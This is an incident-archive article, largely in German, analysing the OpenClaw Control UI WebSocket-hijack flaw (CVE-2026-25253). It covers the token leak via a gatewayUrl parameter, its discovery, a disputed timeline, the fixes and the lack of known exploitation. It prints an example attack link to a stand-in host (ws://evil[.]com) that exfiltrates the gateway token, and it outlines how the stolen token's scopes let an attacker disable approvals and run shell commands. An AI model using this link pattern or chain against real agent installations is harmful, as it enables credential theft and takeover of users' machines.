OpenClaw Control UI WebSocket-Hijack: ein Link zu RCE

Am 29. Januar 2026 veröffentlichte das Sicherheitsunternehmen Ethiack seinen Bericht über eine Schwachstelle in OpenClaw, dem quelloffenen persönlichen KI-Agenten, der auf dem Rechner eines Nutzers läuft und über ein Browser-Dashboard namens Control UI gesteuert wird. Ein präparierter Link konnte dafür sorgen, dass dieses Dashboard einem Angreifer das Authentifizierungstoken des Gateways aushändigte – und damit die Möglichkeit, Shell-Befehle als der angemeldete Nutzer auszuführen. CVE-2026-25253 folgte am 1. Februar 2026, die eigene Sicherheitsmeldung des Projekts am Tag danach; beide bewerteten die Schwachstelle mit 8,8 als hoch. Jede Bereitstellung, bei der sich jemand an der Control UI angemeldet hatte, war betroffen, einschließlich Instanzen, die nur über Loopback erreichbar waren. Keine für diesen Artikel herangezogene Quelle verzeichnet eine Ausnutzung der Schwachstelle gegen einen echten Nutzer. Das Archiv führt den Vorfall als Infrastrukturvorfall mit hoher Schwere, Vertrauensgrad B und auf den Tag genauem Datum 29. Januar 2026, zusammen mit seinen anderen Einträgen zur Agentensicherheit im Orca AI Incident Archive.

Was die Control UI mit einer URL gemacht hat

OpenClaw ist ein selbst gehosteter Agent, den seine Nutzer über Messaging-Apps und ein Web-Dashboard erreichen und der mit dem arbeitet, was Ethiacks Bericht „vollen Systemzugriff“ nennt. Das Projekt war bereits mehr als einmal umbenannt worden und trug vor OpenClaw die Namen Clawdbot und Moltbot, und das npm-Register verzeichnet das Paket openclaw als am 29. Januar 2026 um 11:08 UTC erstellt. Das Dashboard ist hier der entscheidende Teil: Es speicherte das Gateway-Token im Browserspeicher, und dort steckte die Schwachstelle.

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

Zwei Fakten über Browser machen aus diesem Leck eine Übernahme. Browser wenden die Same-Origin-Policy nicht auf WebSocket-Verbindungen an wie auf gewöhnliche HTTP-Anfragen, und das Gateway validierte den Origin-Header beim Upgrade nicht, sodass JavaScript auf einer vom Opfer besuchten Seite direkt einen Socket zu ws://localhost:18789 öffnen konnte (depthfirst, 1. Februar 2026). Da der Browser des Opfers selbst die ausgehende Verbindung herstellt, erreichte der Angriff Gateways, die an Loopback gebunden und vom Netz aus unsichtbar waren. „Diese Schwachstelle ist selbst auf Instanzen ausnutzbar, die so konfiguriert sind, dass sie nur auf Loopback lauschen, da der Browser des Opfers die ausgehende Verbindung initiiert“, heißt es in der Sicherheitsmitteilung des Projekts. Ethiack hielt damals eine weitere Bedingung fest: Der getestete stabile Chrome-Build enthielt die Berechtigung für Local Network Access nicht standardmäßig, sodass der Browser auch keine Eingabeaufforderung anzeigte.

Was das gestohlene Token ermöglicht, ist der Rest der Geschichte. Es trug die Scopes operator.admin und operator.approvals. Damit konnte ein Angreifer Ausführungsfreigaben abschalten, indem er exec.approvals.set auf "off" setzte, den Ausführungshost aus dem Container herausverlagern, indem er tools.exec.host auf "gateway" setzte, und dann Shell-Befehle auf dem Host über eine node.invoke / system.run-Anfrage ausführen (depthfirst, 1. Februar 2026; The Hacker News, 2. Februar 2026). Die Herstellerwarnung fasst das Ergebnis in einem Satz zusammen: Der Angreifer könne „die Konfiguration ändern (Sandbox, Tool-Richtlinien) und privilegierte Aktionen aufrufen und so 1-Click-RCE erreichen".

In weniger als zwei Stunden gefunden, von einer Maschine

Die Entdeckung war selbst eine KI-Übung. Ethiack ließ seinen autonomen Pentesting-Agenten Hackian am 26. Januar 2026 um 13:21 UTC auf eine live laufende OpenClaw-Instanz los. Er bestätigte den Fehler um 15:05 UTC, etwa eine Stunde und vierzig Minuten später – die Zahl, die in der Überschrift von Ethiacks Bericht steht. Das Unternehmen meldete den Fehler um 18:02 UTC an die Maintainer von OpenClaw. Ein Pull Request folgte am 27. Januar, und der Fix erreichte am Abend des 28. Januar den Main-Branch – laut Ethiacks veröffentlichter Zeitleiste und der Commit-Historie des Projekts.

Ein zweites Team kam unabhängig zu demselben Schluss. Mav Levin, ein Sicherheitsforscher und Gründungsmitglied bei depthfirst, veröffentlichte am 1. Februar 2026 seine eigene Ausarbeitung und schrieb darin, dass „das OpenClaw-Team das von mir gemeldete Problem schnell behoben und korrigiert hat“ und dass jemand anderes denselben Fehler unabhängig gemeldet habe. Im GitHub-Advisory wird DepthFirstDisclosures als Melder genannt und sowohl 0xacb als auch mavlevin unter den Findern aufgeführt. Das Konto 0xacb trägt den Profilnamen André Baptista, einen der drei Mitautoren der Ethiack-Ausarbeitung, was zur zeitlichen Abfolge passt: Der Pull Request von Ethiack für den Fix wurde am 27. Januar von diesem Konto aus eröffnet, und der Commit der Maintainer dankt namentlich dafür. Keine für diesen Artikel gelesene Quelle besagt, dass die beiden Bemühungen vor der Veröffentlichung voneinander wussten, und keine stellt die Anerkennung infrage.

Das Datum des Datensatzes und die Daten davor und danach

Das Archiv datiert diesen Eintrag tagesgenau auf den 29. Januar 2026, und das entspricht dem Tag, an dem Ethiacks Forschung öffentlich wurde. Der Code-Fix war bereits am Vortag eingespielt worden. Das getaggte Release, das ihn enthielt, folgte in den frühen Morgenstunden des 30. Januar UTC, was in der US-Pazifikzeit dem Abend des 29. Januar entspricht: npm verzeichnet Version 2026.1.29 um 04:49 UTC am 30. Januar und das GitHub-Release um 05:26 UTC. MITREs CVE-Eintrag ist auf den 1. Februar 2026 um 22:34 UTC datiert, GitHubs Advisory auf den 2. Februar um 23:41 UTC, und The Hacker News berichtete am 2. Februar über die Schwachstelle.

Die vom Datensatz zitierte Quelle, der Agent Incident Tracker von Permission Protocol, führt eine eigene Zeitleiste, und Teile davon hinken hinterher. Sie datiert die Patch-Veröffentlichung auf den 29.01.2026, konsistent mit der Versionsnummer, setzt aber „frühe Berichte“ über die Schwachstelle auf den 12.02.2026 und die breite öffentliche Offenlegung von CVE-2026-25253 auf den 26.02.2026, mit unabhängigen Zusammenstellungen am 24.03.2026. Die Primärdokumente sagen etwas anderes. Das Datum 26. Februar entspricht SonicWalls Patch-Analyse, die dreieinhalb Wochen nach der Existenz des Identifiers veröffentlicht wurde, und der 12. Februar liegt zwischen den beiden Forschungsberichten und der Herstelleranalyse statt davor. Die letzte Zeile der Zeitleiste des Trackers bezeichnet den Mechanismus außerdem als „Zero-Click“; der Herstellerhinweis bezeichnet ihn als „1-Click“, und jeder veröffentlichte Bericht beschreibt ein Opfer, das einen Link öffnen muss. Wo diese Daten und Bezeichnungen abweichen, folgt dieser Artikel dem CVE-Datensatz, dem Herstellerhinweis und den beiden Forschungsberichten.

Ein Vorbehalt gegenüber dieser Quelle sollte offen genannt werden. Permission Protocol verkauft ein Autorisierungs-Gate, und sein Eintrag rahmt den Vorfall darum, was das eigene Produkt blockiert hätte. Die Seite stuft diese Bewertung als vorbehaltlich ein und sagt über sich selbst, dass „die Quelle kein Ergebnis zur Verhinderung durch das Produkt belegt“. Was die Aufzeichnung jedoch zutreffend wiedergibt, ist ihre Rahmung: Die Forschung war drei Tage öffentlich, bevor die CVE existierte, weshalb das Archiv dies als frühe Entdeckung vor CVE-2026-25253 bezeichnet.

Was wurde tatsächlich geschädigt?

Nichts, soweit irgendeine Quelle etwas verzeichnet. Das Archiv kennzeichnet den Datensatz real_harm als false, und das steht im Einklang mit allem, was rund um ihn veröffentlicht wurde. Belgiens Centre for Cybersecurity hat am 2. Februar 2026 einen Sicherheitshinweis herausgegeben, in dem es heißt: „Es gibt derzeit keine Hinweise darauf, dass diese Schwachstelle in freier Wildbahn ausgenutzt wurde“. Weder Ethiack, depthfirst, SonicWall noch The Hacker News berichten von einem Opfer, einer kompromittierten Installation oder entwendeten Daten, und keine dieser Quellen beziffert, wie viele Installationen exponiert waren. Ethiack bemerkt lediglich, dass es „jede Menge Instanzen auf öffentlichen Servern“ mit schwacher Konfiguration gab, was eher ein Eindruck als eine Zählung ist.

Was existiert, ist funktionierender Exploit-Code. Ethiack veröffentlichte den vollständigen Exploit-Quellcode zusammen mit seinem Write-up und demonstrierte die Kette gegen die eigene Instanz. SonicWalls Analyse vom Februar zeigt die Token-Erfassung „unter Verwendung eines öffentlich verfügbaren Exploits“. Ein Proof-of-Concept-Repository eines Drittanbieters erschien am 9. März 2026 auf GitHub. Öffentlicher Exploit-Code ist nicht dasselbe wie Ausnutzung, und das Schadensflag des Archivs betrifft Letzteres.

Eine Quelle ist weniger präzise als die übrigen und es wert, hervorgehoben zu werden. Der Risikoabschnitt des belgischen Beratungsdokuments beschreibt, dass der Bot selbst vom Angreifer kontrollierte Inhalte als Auslöser rendert, was nicht dem Mechanismus in der Herstellerberatung oder in einem der beiden Forschungsberichte entspricht: In allen drei Fällen wird der Browser des Opfers auf einen Link gelockt, und der Agent ist das Ziel, nicht das Transportmittel. Zitierfähig ist seine Aussage zur Ausnutzung; seine Zusammenfassung des Mechanismus nicht.

Was sich geändert hat – und was der erste Fix offen ließ

Der Fix in 2026.1.29 hat einen Bestätigungsdialog hinzugefügt, bevor die Control UI zu einer anderen Gateway-URL wechselt. Die Advisory des Projekts beschreibt die Änderung mit „Mit der Änderung müssen Nutzer nun die neue Gateway-URL in der UI bestätigen“, und die Datei, die den Dialog rendert, ist im Tag v2026.1.29 vorhanden. Das erhöht den Aufwand des Angriffs von einem Klick auf einen Klick plus eine bewusste Bestätigung. Es beseitigt jedoch nicht das zugrunde liegende Vertrauen in einen URL-Parameter.

Die Origin-Validierung, die andere Hälfte der Kette, kam später. Die Patch-Analyse von SonicWall hält fest, dass „spätere Updates strenge Origin-Validierungskontrollen implementierten“, und listet vier Prüfungen auf: einen fehlenden oder ungültigen Origin-Header ablehnen; einen Origin-Host zulassen, der mit dem Host-Header übereinstimmt; Loopback zu Loopback zulassen; Origins zulassen, die in einer konfigurierten allowedOrigins-Liste aufgeführt sind; und alles andere ablehnen. Die Abfolge ist im Quellcode des Projekts beim Tag v2026.1.29 sichtbar, wobei der WebSocket-Upgrade-Handler den Origin-Header liest und protokolliert, ohne eine Richtlinie darauf anzuwenden.

Andere Antworten waren Erkennung statt Code. SonicWall hat die IPS-Signatur 21908 für das bereitgestellt, was es als Offenlegung sensibler Daten bei OpenClaw bezeichnet. depthfirst riet dazu, ein Upgrade durchzuführen und das Gateway-Token zu rotieren, falls eine Offenlegung vermutet wurde, was sich direkt aus dem Mechanismus ergibt: Ein gestohlenes Token bleibt gültig, bis jemand es ändert.

Was gilt als gesichert und was nicht

Belegt anhand von Primärdokumenten: Der verwundbare Codepfad las gatewayUrl aus dem Query-String und stellte ohne Validierung automatisch eine Verbindung her; das Connect-Frame enthielt das gespeicherte Token; das Gateway validierte den WebSocket-Origin nicht, sodass ein Browser auf jeder beliebigen Website Loopback erreichen konnte; das Token trug Admin- und Approval-Scopes; Versionen vor 2026.1.29 waren betroffen; und zwei Teams fanden den Fehler unabhängig voneinander, eines davon ein autonomer Agent, der von außen arbeitete.

Nicht belegt: dass irgendjemand es ausgenutzt hat, wie viele Installationen damals erreichbar waren und ob der bloße Bestätigungsdialog einen entschlossenen Angreifer abwehren würde. Die Note B des Archivs spiegelt eine Zitationsbasis von einem einzigen sekundären Tracker wider und nicht etwa Zweifel an der Funktionsweise; der Eintrag ist nicht als umstritten markiert. Diese Funktionsweise wird durch die Herstellerwarnung, durch MITREs CVE-Eintrag und durch zwei unabhängige Forschungsberichte gestützt – mehr, als der Eintrag selbst für sich beansprucht.

Die einzeilige Zusammenfassung des Archivs bezeichnet dies als eine frühe Entdeckung vor CVE-2026-25253, und so sollte man den Eintrag auch lesen: als Aufzeichnung einer Schwachstelle, die gefunden, gemeldet und behoben wurde, bevor sie eine Kennung hatte – in einem Produkt, das dafür gebaut ist, Befehle auf der Maschine auszuführen, auf der es läuft. Die darauffolgende CVE beschreibt dieselben drei Verhaltensweisen – einen Query-Parameter, eine unaufgeforderte Verbindung und ein Token im Handshake –, und keine für diesen Beitrag herangezogene Quelle nennt irgendjemanden als Gegenstelle.